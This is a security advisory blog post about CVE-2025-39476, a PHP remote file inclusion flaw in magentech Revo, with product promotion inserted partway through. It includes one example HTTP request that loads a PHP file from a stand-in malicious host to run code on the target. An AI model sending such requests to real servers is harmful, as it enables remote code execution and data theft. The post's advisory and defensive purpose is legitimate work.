Ameeba Security Research

Defensive CVE and exploit intelligence

Ameeba Blog Search
TRENDING · 1 WEEK
Attack Vector
Vendor
Severity

CVE-2025-39476: Critical PHP Remote File Inclusion Vulnerability in magentech Revo

Views: 254

Overview

This report details a significant vulnerability, CVE-2025-39476, in magentech Revo. This vulnerability is of considerable concern due to the PHP Remote File Inclusion, potentially leading to system compromise or data leakage. It impacts all versions of Revo up to and including 4.0.26. Understanding this vulnerability is vital for organizations utilizing this software to ensure their cybersecurity measures are robust and up-to-date.

Vulnerability Summary

CVE ID: CVE-2025-39476
Severity: High (7.5)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise and potential data leakage

Affected Products

Ameeba Chat Icon Share secrets securely

Ameeba is private infrastructure for communication and sensitive work built on encrypted identity instead of exposed corporate identity systems.

Passwords, credentials, confidential files, screenshots, internal discussions, sensitive AI context, and private coordination should not become exposed across ordinary communication platforms.

  • • Encrypted identity
  • • Private Spaces for organizations and teams
  • • End-to-end encrypted chat, calls, files, and notes
  • • Sensitive AI work and protected collaboration
  • • Built for information that cannot leak

Our mission is to secure human work alongside AI.

Product | Affected Versions

magentech Revo | All versions up to and including 4.0.26

How the Exploit Works

The vulnerability arises from an improper control of a filename for include/require statement in PHP Program. This issue allows an attacker to manipulate the file inclusion procedures in PHP to load remote files that contain malicious code. By exploiting this vulnerability, an attacker can execute arbitrary PHP code on the server, potentially leading to complete system compromise or data leakage.

Conceptual Example Code

Here is a conceptual example of how the vulnerability might be exploited. In this case, the attacker includes a malicious PHP file from a remote server:

GET /index.php?file=http://malicious.example.com/malicious_file.php HTTP/1.1
Host: vulnerable.example.com

An attacker’s malicious_file.php could contain code intended to compromise the system or exfiltrate data.

Mitigation

To mitigate the risk associated with this vulnerability, users are advised to apply the vendor patch as soon as it becomes available. As a temporary measure, users can also use a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) to detect and block attempts to exploit this vulnerability. However, these measures are not a substitute for patching and updating the software.

Want to discuss this further? Join the Ameeba Cybersecurity Group Chat.

Disclaimer:

The information and code presented in this article are provided for educational and defensive cybersecurity purposes only. Any conceptual or pseudocode examples are simplified representations intended to raise awareness and promote secure development and system configuration practices.

Do not use this information to attempt unauthorized access or exploit vulnerabilities on systems that you do not own or have explicit permission to test.

Ameeba and its authors do not endorse or condone malicious behavior and are not responsible for misuse of the content. Always follow ethical hacking guidelines, responsible disclosure practices, and local laws.

More posts

Ameeba Chat